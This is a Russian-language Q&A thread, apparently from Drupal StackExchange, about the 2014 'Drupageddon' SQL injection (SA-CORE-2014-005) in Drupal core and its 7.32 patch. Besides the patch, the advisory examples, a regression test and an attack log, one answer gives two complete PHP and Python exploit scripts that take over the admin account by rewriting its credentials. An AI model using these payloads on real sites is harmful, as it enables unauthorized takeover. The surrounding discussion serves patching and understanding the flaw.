Какие атаки предотвращает патч для SA-CORE-2014-005 (Drupal 7.32)?

33

Читайте https://www.drupal.org/node/2357241 и технические подробности на https://www.drupal.org/SA-CORE-2014-005 , а также актуальный патч, который просто:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Мне интересно, какой запрос может быть сделан с использованием этого эксплойта?

Чарли Шлиссер
источник
Можем ли мы напрямую внести изменения в ядро? database.incфайл ?
Hitesh
@hitesh, вы можете просто database.incустановить патч из патча выше (или вручную, очевидно, это небольшое изменение), но я бы также порекомендовал полностью обновить ваш основной Drupal.
Чарли Шлиссер
1
Для тех, кто интересуется не тем, какие запросы будут использовать ошибку, а тем, чем она является на самом деле, я разместил объяснение в Programmers.SE .
RomanSt
Даже после обновления кто-то может размещать файлы .php на моих сайтах. Я тоже проверил menu_router - ничего подозрительного. Я также провел аудит сайта и drupalgetaddon
AgA

Ответы:

18

У компании, обнаружившей ошибку, есть несколько примеров на Advisory 01/2014: Уязвимость Drupal - pre Auth SQL Injection :

Выдержка:

Функция предполагает, что она вызывается с массивом, который не имеет ключей. Пример:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Что приводит к этому заявлению SQL

SELECT * from users where name IN (:name_0, :name_1)

с параметрами name_0 = user1и name_1 = user2.

Проблема возникает, если в массиве есть ключи, которые не являются целыми числами. Пример:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

это приводит к использованию SQL-запроса:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

с параметрами: name_test = user2.

Поскольку Drupal использует PDO, разрешены множественные запросы. Таким образом, эта SQL-инъекция может использоваться для вставки произвольных данных в базу данных, вывода или изменения существующих данных или удаления всей базы данных.

С возможностью ВСТАВИТЬ произвольные данные в базу данных злоумышленник может выполнить любой код PHP через функции Drupal с обратными вызовами.

Ханс Россель
источник
Спасибо, что поделились, я не смог найти это из поиска по теме. The Problem occurs, if the array has keys, which are no integers- этот и пример запроса довольно полезны для понимания этого.
Чарли Шлиссер
19

Что происходит с 7.32 Проверяя модуль тестирования. Вы можете видеть, что следующий тест был добавлен к 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Это должно дать некоторое дополнительное представление о том, как создать атаку.

Подтверждение концепции Так как прошло более чем достаточно времени, и в дикой природе полно PoC.

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Вот блог, который делает хороший разбивку: http://www.volexity.com/blog/?p=83

Цифровой огонь
источник
Это POC не работает ....
Кайл Браунинг,
Можете ли вы опубликовать POC, с помощью которого хакер может заменить $ data на array_values ​​($ data) в database.inc?
Ганс Россель
Я могу подтвердить, что это работало с ванильным сайтом Drupal. Это прискорбно ...
AyeshK
Как сказал @greggles, это немного рано, еще не у всех есть памятка. Пожалуйста, воздержитесь.
pal4life
Вопрос - "? Q =" требуется, чтобы эта атака работала? мой сервер случайно отбрасывает запросы с аргументом get q (или эквивалентами, закодированными в Q или%). Просто любопытно. Мы исправили некоторое время назад и не видели признаков вторжения или чего-то еще, но мне интересно, повезло ли нам, отклонив запросы q =?
Kasapo
16

Исследователи, которые нашли ошибку, имеют доказательство концепции. Другие разработали доказательства концепции также. Тем не менее, они намеренно не публикуют их, чтобы попытаться уменьшить вероятность того, что они будут широко использованы. Мы должны уважать это исследование и сдержанность, а не размещать здесь примеры.

По прошествии некоторого времени и модернизации сайтов будет очень интересно с академической точки зрения проанализировать проверочный код атаки. До тех пор это ненужный риск и хватит внимания.

Код в рекомендации SektioinEins не является полностью разработанным примером того, как его использовать. Они описывают слабость, но не точно определяют, как на самом деле использовать проблему.


Прошло уже несколько недель с тех пор, как проблема была выпущена, и SektionEins разместил несколько проверочных концепций в своем блоге . Они довольно интересны по сравнению со многими другими концептуальными доказательствами, которые были разработаны, поскольку они оставляют очень мало следов своей активности (например, ничего в таблице menu_router).

greggles
источник
4

Я могу подтвердить, что эта уязвимость будет работать с каждым сайтом Drupal 7.31 и ниже, независимо от того, какие модули активны. Любая друпальная форма может быть использована для использования этой уязвимости.

Эксплойт довольно прост, поэтому PoC уже в дикой природе. Я смог атаковать собственный сервер и изменить пароли пользователя как анонимный пользователь в чистой установке Drupal, но возможности безграничны.

Эта ошибка была известна почти 1 год назад через https://www.drupal.org/node/2146839, но никто из Drupal Core Security Team не ответил.

Pari
источник
Это не было сообщено как проблема безопасности, не так ли?
Альфред Армстронг
Он был помечен как «#security», приоритет «основной», статус «проверка потребностей», и включал патч, который в основном достигает того, что делает патч в 7.32. Возможно, #перед «безопасностью» кто-то ограничил возможность увидеть, что в противном случае было бы, или, возможно, в очереди слишком много проблем. Все еще удивительно, что никто не ответил на это.
Чарли Шлиссер
3
Это не было сообщено как проблема безопасности, поэтому, вероятно, команда безопасности не видела его. Но да, парень не был уверен, что это проблема безопасности, поэтому, наверное, поэтому.
Беренд де Бур
2
Он был объявлен как «Запрос о функции», а не как ошибка. Новые функции не принимаются в стабильной версии ядра Drupal, поэтому это нормально, что на них не смотрят. Вопросы безопасности никогда не должны публиковаться публично, есть четкая страница, как сообщать о проблемах безопасности Drupal группе безопасности: drupal.org/node/101494
Ханс Россель
4

Я задавался вопросом, как это можно использовать и сколько времени и усилий это займет? Поэтому я решил установить более старую версию Drupal 7 на мой локальный хост и перепроектировать эту ошибку. Я обнаружил шокирующую ошибку, которая дает всем, кто обладает базовыми знаниями о HTML / SQL, полный доступ к вашему сайту Drupal.

Мне удалось выполнить SQL-инъекцию в Drupal 7 с помощью анонимного пользователя менее чем за 30 минут!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

ПРИМЕЧАНИЕ: Это по-прежнему не позволит вам войти, так как Drupal использует SHA512 с солью, поэтому на самом деле невозможно войти в систему. Я специально не ставил здесь код, но, очевидно, любой, у кого есть немного знаний о Drupal, знает, как это преодолеть, и создаст запрос, который даст вам полный доступ!

Это открывает вопрос о том, насколько безопасен Drupal и кто отвечает за что-то подобное? Очевидно, эта ошибка была известна более года ( https://www.drupal.org/node/2146839 ), но никто не реагировал на Drupal.org. Случайно или намеренно? :)

tamerzg
источник
1

Это исправление уязвимости внедрения SQL, когда вредоносные операторы SQL вставляются в поле ввода для выполнения, что может привести, например, к освобождению содержимого базы данных. Это исправление важно применять как можно скорее, особенно потому, что эта уязвимость может быть использована анонимными пользователями.

Если вы не можете обновить немедленно, у команды безопасности вы можете применить этот патч, который будет обеспечивать такую ​​же защиту, пока вы не сможете выполнить полное обновление 1 . Также команда безопасности подготовила некоторые часто задаваемые вопросы, связанные с этой проблемой. Перевод сайта в режим обслуживания не поможет, и, пожалуйста, очистите кэш после установки обновления или убедитесь, что вы используете 7.32.

Кроме того, вы должны проверить, если ваш сайт не был взломан. Некоторые сайты уже сообщают о проблемах. Здесь есть одно сообщение в блоге, в котором предлагается, как проверить, что обновления до Drupal 7.32 недостаточно, возможно, ваш сайт уже взломан.

Я применяю исправление 15 октября, и мои сайты уже сообщили о том, что кто-то пытается использовать уязвимость

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
cayerdis
источник